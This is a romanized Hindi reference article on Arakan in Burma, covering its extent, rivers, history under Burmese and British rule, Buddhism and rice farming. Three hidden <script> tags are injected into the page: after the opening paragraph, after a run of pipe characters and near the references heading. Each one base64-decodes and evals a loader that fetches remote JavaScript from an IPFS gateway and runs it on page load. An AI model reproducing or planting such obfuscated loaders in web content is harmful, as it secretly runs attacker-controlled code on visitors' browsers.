अराकान
arakan barma ka ek pradesh hai. arakan ki patti bangal ki kha di ke poorvi tat par sthit hai. yahaan 1784 ee. tak ek svatantr rajy raha tha, jise barmi logoan ne jit liya tha. barma ki sima ke vistar se bharat ki aangrez british sarakar ne bangal ke lie khatara mahasoos kiya. pratham barma yuddh (1824-1826) ka ek karan yah bhi tha. yuddh ke bad arakan ka kshetr 'yandaboo ki sandhi' ke anusar bharat ki aangrezi sarakar ko mil gaya.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vistar
bangal ki kha di ke poorvi tat par chatagaanv (chitagaang) se negres aantarip tak arakan vistrit hai. is prakar isaki lanbaee lagabhag 400 mil (lagabhag 640 ki.mi.) hai. isaki chau daee uttar mean 90 mil (lagabhag 144 ki.mi.) hai, parantu arakan yoma parvat ke karan dakshin ki or arakan ki chau daee dhire-dhire kam hote-hote 15 mil (lagabhag 24 ki.mi.) ho jati hai. tat par anek tapoo haian. is pradesh ka pradhan nagar 'akayab' hai. praant char ziloan mean vibhakt hai. arakan ka kshetraphal lagabhag 16,000 varg mil hai.[1]
bhaugolik dasha
arakan ki char mukhy nadiyaan- naph, mayoo, kaladan aur lemaro haian. kaladan kafi gahari nadi hai aur isamean chhote jahaj 50 mil (lagabhag 80 ki.mi.) bhitar tak ja sakate haian any nadiyaan bahut chhoti haian, kyoanki ve paha d jinase ye nikali haian, samudr ke nikat haian. parvat ko par karane ke lie kee darre haian.
itihas
arakan mean nivas karane valoan ki sabhyata ati prachin hai. manyata ke anusar 2,666 ee.poo. se aj tak ke sabhi rajaoan ke nam jnat haian. kabhi mugal aur kabhi purtagali logoan ne kuchh bhagoan par adhikar jama liya tha, parantu ve jald hi parajit kar diye ge. san 1826 se yahaan aangrezoan ka shasan raha tha. janavari, san 1948 se barma pun: svatantr ho gaya aur ab vahaan ganatantr rajy hai.
dharm
arakan ka pradhan nagar pahale arakan tha, parantu asvasthyaprad hone ke karan ab yahaan ka 'akyab nagar' pradhan nagar ho gaya hai. halaanki arakan ke nivasi mukhyat: barmi hai to bhi yahaan ke riti aur rivajoan mean kafi aantar hai. yahaan bahut b di sankhya mean bauddh dharm ke anuyayi haian.[1]
krishi
arakan ka pradesh paha di hai aur keval dasham bhoo-bhag mean hi kheti ho pati hai. arakan ki mukhy fasal dhan hai. phal, tanbakoo, mirch adi ki bhi yahaan kheti hoti hai. arakan mean van kshetraphal bhi adhik hai, lekin parantu varsha bahut (ausatan 120 se 130 tak) hoti hai.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>